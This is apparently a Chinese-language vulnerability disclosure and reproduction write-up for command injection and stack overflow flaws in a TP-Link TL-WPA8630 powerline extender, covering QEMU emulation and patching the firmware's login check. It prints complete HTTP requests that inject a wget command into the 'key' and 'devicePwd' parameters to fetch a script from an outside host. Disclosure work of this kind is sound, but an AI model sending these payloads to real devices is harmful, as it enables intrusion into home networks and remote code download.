寫在前面:

在分析TPlink中繼器設備時(這里以TL-WPA8630為代表),發現了兩處可以利用的命令注入和棧溢出漏洞,因此借這個機會,將TPlink此類設備的模擬方法也進行了研究,并在本地對漏洞進行了復現。相關漏洞已經提交至CVE官網。

漏洞介紹:

在httpd文件處理admin/powerline的sub_40A918函數中,存在兩處命令注入漏洞(也可以構造棧溢出)。對plc_device對應的key參數、plc_add對應的devicePwd參數不加過濾,直接vsprintf拼接執行,造成命令注入,也可以實現棧溢出攻擊。

版本:TL-WPA8630 KIT(US)_V2_171011版,以及其他WPA、WR、WA等電力貓與中繼器設備對應版本。

漏洞靜態分析

httpd文件調用sub_40A918處理/admin/powerline的對應請求:

sub_40A918首先判斷form參數,如果form參數是plc_device,則交給sub_40A774函數處理,如果form參數是plc_add,則交給sub_40A80C函數處理,這兩個函數都有漏洞,我們依次分析。

sub_40A774函數如下,獲取operation參數,如果參數是remove,則獲取后續key參數,然后將key交給sub_4036A0函數處理,后續會將key的參數直接用vsprintf憑借,然后執行,既可以實現命令注入,又可以實現棧溢出。

sub_40A80C函數如下,獲取operation參數,如果參數是write,則獲取后續devicePwd參數,然后將其交給sub_4036A0函數處理,同上述一樣,既可以實現命令注入,又可以實現棧溢出。

固件模擬

基本步驟和往常的設備模擬一樣,利用qemu進行系統模擬,命令如下:

#qemu系統模式啟動
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
#主機網卡配置
#! /bin/sh 
sudo sysctl -w net.ipv4.ip_forward=1 
sudo iptables -F 
sudo iptables -X 
sudo iptables -t nat -F 
sudo iptables -t nat -X 
sudo iptables -t mangle -F 
sudo iptables -t mangle -X 
sudo iptables -P INPUT ACCEPT 
sudo iptables -P FORWARD ACCEPT 
sudo iptables -P OUTPUT ACCEPT 
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE 
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT 
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT 
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
#qemu網卡配置
#!/bin/sh 
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 
route add default gw 192.168.100.254
#文件系統上傳
scp -r squashfs-root/ root@192.168.100.2:~/
#掛載執行:
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
chroot squashfs-root sh

在完成基本環境搭建后,下面還是最困難的問題,啟動設備的web服務,直接啟動httpd文件:

./usr/bin/httpd

發現沒有任何報錯,然后我們訪問對應對應IP:http://192.168.100.2/index.html, 居然直接成功訪問登錄界面:

心里非常驚喜,以為模擬成功,結果發現并沒有。輸入TPLink的初始用戶名和密碼:admin、admin,結果提示,用戶名和密碼錯誤。按理來說,此設備的默認密碼就是admin,但是發生了錯誤,說明問題出現在登錄時的密碼驗證環節。我們用burpsuite抓一下登陸時的數據包,發現設備會將輸入的用戶名和密碼寫入Cookie的Authorization字段。

我們在IDA里逆向對應的處理流程,程序會先讀取Authorization字段,然后在sub_4269B4函數中進行了處理,并進行了分支跳轉。盲猜sub_4269B4函數功能就是對登錄字段進行校驗。

分析sub_4269B4函數,發現該函數確實在進行授權校驗,主要原理就是將Authorization字段,同config文件夾下的account.config配置文件中的對應結果進行匹配,匹配失敗則返回-1。由于我們直接對解包后的文件系統進行模擬的緣故,config文件夾下并沒有相關配置文件,因此登錄時會驗證失敗。

因此,我們要么構造一個符合TPlink結構的config配置文件,要么直接對登錄流程進行patch,我們當然選擇比較簡單的patch方法,只需要將登錄的驗證跳轉分支修改即可。我們將sub_4269B4函數判斷改為-1登陸成功,也就是將bltz指令改為bgez指令即可。

將新的httpd文件上傳至qemu,此時輸入admin、admin,即可成功登入主界面(其實此時應該是任意用戶名和密碼都可以登入了):

漏洞動態復現

我們分別對兩個漏洞點進行復現,在這里我們采用wget命令,驗證能否下載文件來證明命令注入成功,在ubuntu中用python搭建簡易的web服務器:

python3 -m http.server

首先是plc_device對應的漏洞,發送數據包如下:

POST /admin/powerline HTTP/1.1
Host: 192.168.100.2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 63
Origin: http://192.168.100.2
Connection: close
Referer: http://192.168.100.2/
Cookie: Authorization=Basic%20admin%3A21232f297a57a5a743894a0e4a801fc3
xxxxxxxxxxxxxxxxxxxxxxxxxx;wget http://192.168.100.254:8000/net.sh; 
#不過實際抓包時,發現form參數是跟在POST的URL后面傳的,不過兩種傳參都可以
POST /admin/powerline?form=plc_device HTTP/1.1

成功實現對惡意文件net.sh的下載:

其次是plc_add對應的漏洞,發送數據包如下:

POST /admin/powerline HTTP/1.1
Host: 192.168.100.2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Origin: http://192.168.100.2
Connection: close
Referer: http://192.168.100.2/
Cookie: Authorization=Basic%20admin%3A21232f297a57a5a743894a0e4a801fc3
xxxxxxxxxxxxxxxxxxxxxxxxxx;wget http://192.168.100.254:8000/net.sh; 
#不過實際抓包時,發現form參數是跟在POST的URL后面傳的,不過兩種傳參都可以
POST /admin/powerline?form=plc_add HTTP/1.1

成功實現對惡意文件net.sh的下載:

以上為漏洞復現全過程,主要實現了對該品牌此類設備的模擬,并將漏洞進行了實際復現,相關設備具有較多的部署和資產,因此需要用戶及時更新設備版本。